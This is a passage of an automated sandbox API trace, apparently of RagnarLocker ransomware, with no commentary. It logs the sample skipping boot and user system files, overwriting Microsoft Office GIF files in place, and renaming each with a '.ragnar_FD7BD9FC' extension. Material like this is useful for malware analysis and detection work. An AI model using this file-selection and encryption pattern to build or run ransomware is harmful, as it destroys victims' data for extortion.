lpString2=".dll") returned 1 [0098.972] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0098.972] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0098.972] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0098.972] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0098.972] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14756_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14756_.gif")) returned 0x20 [0098.973] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14756_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14756_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0098.973] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=191) returned 1 [0098.974] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xb6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.974] GetProcessHeap () returned 0x580000 [0098.974] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0098.974] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0098.974] VirtualAlloc (lpAddress=0x0, dwSize=0xbf, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0098.975] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.975] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0098.975] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xbf, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xbf, lpOverlapped=0x0) returned 1 [0098.975] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0098.975] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xbf, nNumberOfBytesToLockHigh=0x0) returned 1 [0098.975] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xbf, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xbf, lpOverlapped=0x0) returned 1 [0098.975] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xbf, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0098.975] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0098.975] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xbf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.975] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0098.976] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0098.976] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0098.976] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0098.976] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0098.976] GetProcessHeap () returned 0x580000 [0098.976] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0098.976] CloseHandle (hObject=0x10c) returned 1 [0098.976] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14756_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14756_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14756_.GIF" [0098.976] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14756_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14756_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14756_.GIF.ragnar_FD7BD9FC" [0098.976] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14756_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14756_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14756_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14756_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0098.977] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedddae00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc99e5c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xedddae00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14757_.GIF", cAlternateFileName="")) returned 1 [0098.977] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0098.977] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD14757_.GIF" | out: lpString1="BD14757_.GIF") returned="BD14757_.GIF" [0098.978] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14757_.GIF") returned=".GIF" [0098.978] lstrcmpiW (lpString1="BD14757_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0098.978] lstrcmpiW (lpString1="BD14757_.GIF", lpString2="autorun.inf") returned 1 [0098.978] lstrcmpiW (lpString1="BD14757_.GIF", lpString2="boot.ini") returned -1 [0098.978] lstrcmpiW (lpString1="BD14757_.GIF", lpString2="bootfont.bin") returned -1 [0098.978] lstrcmpiW (lpString1="BD14757_.GIF", lpString2="bootsect.bak") returned -1 [0098.978] lstrcmpiW (lpString1="BD14757_.GIF", lpString2="bootmgr") returned -1 [0098.978] lstrcmpiW (lpString1="BD14757_.GIF", lpString2="bootmgr.efi") returned -1 [0098.978] lstrcmpiW (lpString1="BD14757_.GIF", lpString2="bootmgfw.efi") returned -1 [0098.978] lstrcmpiW (lpString1="BD14757_.GIF", lpString2="desktop.ini") returned -1 [0098.978] lstrcmpiW (lpString1="BD14757_.GIF", lpString2="iconcache.db") returned -1 [0098.978] lstrcmpiW (lpString1="BD14757_.GIF", lpString2="ntldr") returned -1 [0098.978] lstrcmpiW (lpString1="BD14757_.GIF", lpString2="ntuser.dat") returned -1 [0098.978] lstrcmpiW (lpString1="BD14757_.GIF", lpString2="ntuser.dat.log") returned -1 [0098.978] lstrcmpiW (lpString1="BD14757_.GIF", lpString2="ntuser.ini") returned -1 [0098.978] lstrcmpiW (lpString1="BD14757_.GIF", lpString2="thumbs.db") returned -1 [0098.978] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0098.978] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0098.978] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0098.978] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0098.978] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0098.978] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0098.978] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0098.978] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14757_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14757_.gif")) returned 0x20 [0098.978] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14757_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14757_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0098.979] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=179) returned 1 [0098.979] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xaa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.979] GetProcessHeap () returned 0x580000 [0098.979] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0098.979] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0098.980] VirtualAlloc (lpAddress=0x0, dwSize=0xb3, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0098.980] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.980] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0098.980] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xb3, lpOverlapped=0x0) returned 1 [0098.980] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0098.980] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb3, nNumberOfBytesToLockHigh=0x0) returned 1 [0098.980] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xb3, lpOverlapped=0x0) returned 1 [0098.980] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb3, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0098.980] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0098.980] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xb3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.981] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0098.981] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0098.981] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0098.981] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0098.981] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0098.981] GetProcessHeap () returned 0x580000 [0098.981] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0098.981] CloseHandle (hObject=0x10c) returned 1 [0098.981] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14757_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14757_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14757_.GIF" [0098.981] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14757_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14757_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14757_.GIF.ragnar_FD7BD9FC" [0098.981] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14757_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14757_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14757_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14757_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0098.986] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfafa9d00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc9c4720, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfafa9d00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0x111, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14790_.GIF", cAlternateFileName="")) returned 1 [0098.986] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0098.986] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD14790_.GIF" | out: lpString1="BD14790_.GIF") returned="BD14790_.GIF" [0098.986] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14790_.GIF") returned=".GIF" [0098.986] lstrcmpiW (lpString1="BD14790_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0098.986] lstrcmpiW (lpString1="BD14790_.GIF", lpString2="autorun.inf") returned 1 [0098.986] lstrcmpiW (lpString1="BD14790_.GIF", lpString2="boot.ini") returned -1 [0098.986] lstrcmpiW (lpString1="BD14790_.GIF", lpString2="bootfont.bin") returned -1 [0098.986] lstrcmpiW (lpString1="BD14790_.GIF", lpString2="bootsect.bak") returned -1 [0098.986] lstrcmpiW (lpString1="BD14790_.GIF", lpString2="bootmgr") returned -1 [0098.986] lstrcmpiW (lpString1="BD14790_.GIF", lpString2="bootmgr.efi") returned -1 [0098.986] lstrcmpiW (lpString1="BD14790_.GIF", lpString2="bootmgfw.efi") returned -1 [0098.986] lstrcmpiW (lpString1="BD14790_.GIF", lpString2="desktop.ini") returned -1 [0098.986] lstrcmpiW (lpString1="BD14790_.GIF", lpString2="iconcache.db") returned -1 [0098.986] lstrcmpiW (lpString1="BD14790_.GIF", lpString2="ntldr") returned -1 [0098.986] lstrcmpiW (lpString1="BD14790_.GIF", lpString2="ntuser.dat") returned -1 [0098.986] lstrcmpiW (lpString1="BD14790_.GIF", lpString2="ntuser.dat.log") returned -1 [0098.986] lstrcmpiW (lpString1="BD14790_.GIF", lpString2="ntuser.ini") returned -1 [0098.986] lstrcmpiW (lpString1="BD14790_.GIF", lpString2="thumbs.db") returned -1 [0098.986] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0098.986] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0098.986] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0098.986] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0098.986] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0098.986] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0098.986] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0098.986] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14790_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14790_.gif")) returned 0x20 [0098.987] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14790_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14790_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0098.987] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=273) returned 1 [0098.987] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x108, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.987] GetProcessHeap () returned 0x580000 [0098.988] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0098.988] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0098.988] VirtualAlloc (lpAddress=0x0, dwSize=0x111, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0098.988] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.989] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0098.989] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x111, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x111, lpOverlapped=0x0) returned 1 [0098.989] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0098.989] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x111, nNumberOfBytesToLockHigh=0x0) returned 1 [0098.989] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x111, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x111, lpOverlapped=0x0) returned 1 [0098.989] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x111, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0098.989] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0098.989] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x111, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.989] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0098.989] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0098.989] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0098.989] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0098.990] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0098.990] GetProcessHeap () returned 0x580000 [0098.990] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0098.990] CloseHandle (hObject=0x10c) returned 1 [0098.990] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14790_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14790_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14790_.GIF" [0098.990] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14790_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14790_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14790_.GIF.ragnar_FD7BD9FC" [0098.990] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14790_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14790_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14790_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14790_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0098.991] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfafa9d00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc9c4720, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfafa9d00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0x45b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14791_.GIF", cAlternateFileName="")) returned 1 [0098.991] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0098.991] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD14791_.GIF" | out: lpString1="BD14791_.GIF") returned="BD14791_.GIF" [0098.991] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14791_.GIF") returned=".GIF" [0098.991] lstrcmpiW (lpString1="BD14791_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0098.991] lstrcmpiW (lpString1="BD14791_.GIF", lpString2="autorun.inf") returned 1 [0098.991] lstrcmpiW (lpString1="BD14791_.GIF", lpString2="boot.ini") returned -1 [0098.991] lstrcmpiW (lpString1="BD14791_.GIF", lpString2="bootfont.bin") returned -1 [0098.991] lstrcmpiW (lpString1="BD14791_.GIF", lpString2="bootsect.bak") returned -1 [0098.991] lstrcmpiW (lpString1="BD14791_.GIF", lpString2="bootmgr") returned -1 [0098.991] lstrcmpiW (lpString1="BD14791_.GIF", lpString2="bootmgr.efi") returned -1 [0098.991] lstrcmpiW (lpString1="BD14791_.GIF", lpString2="bootmgfw.efi") returned -1 [0098.991] lstrcmpiW (lpString1="BD14791_.GIF", lpString2="desktop.ini") returned -1 [0098.991] lstrcmpiW (lpString1="BD14791_.GIF", lpString2="iconcache.db") returned -1 [0098.991] lstrcmpiW (lpString1="BD14791_.GIF", lpString2="ntldr") returned -1 [0098.991] lstrcmpiW (lpString1="BD14791_.GIF", lpString2="ntuser.dat") returned -1 [0098.991] lstrcmpiW (lpString1="BD14791_.GIF", lpString2="ntuser.dat.log") returned -1 [0098.991] lstrcmpiW (lpString1="BD14791_.GIF", lpString2="ntuser.ini") returned -1 [0098.991] lstrcmpiW (lpString1="BD14791_.GIF", lpString2="thumbs.db") returned -1 [0098.991] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0098.991] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0098.991] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0098.991] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0098.991] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0098.991] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0098.992] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0098.992] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14791_.GIF" (normalized: "c:\\program files\\microsoft 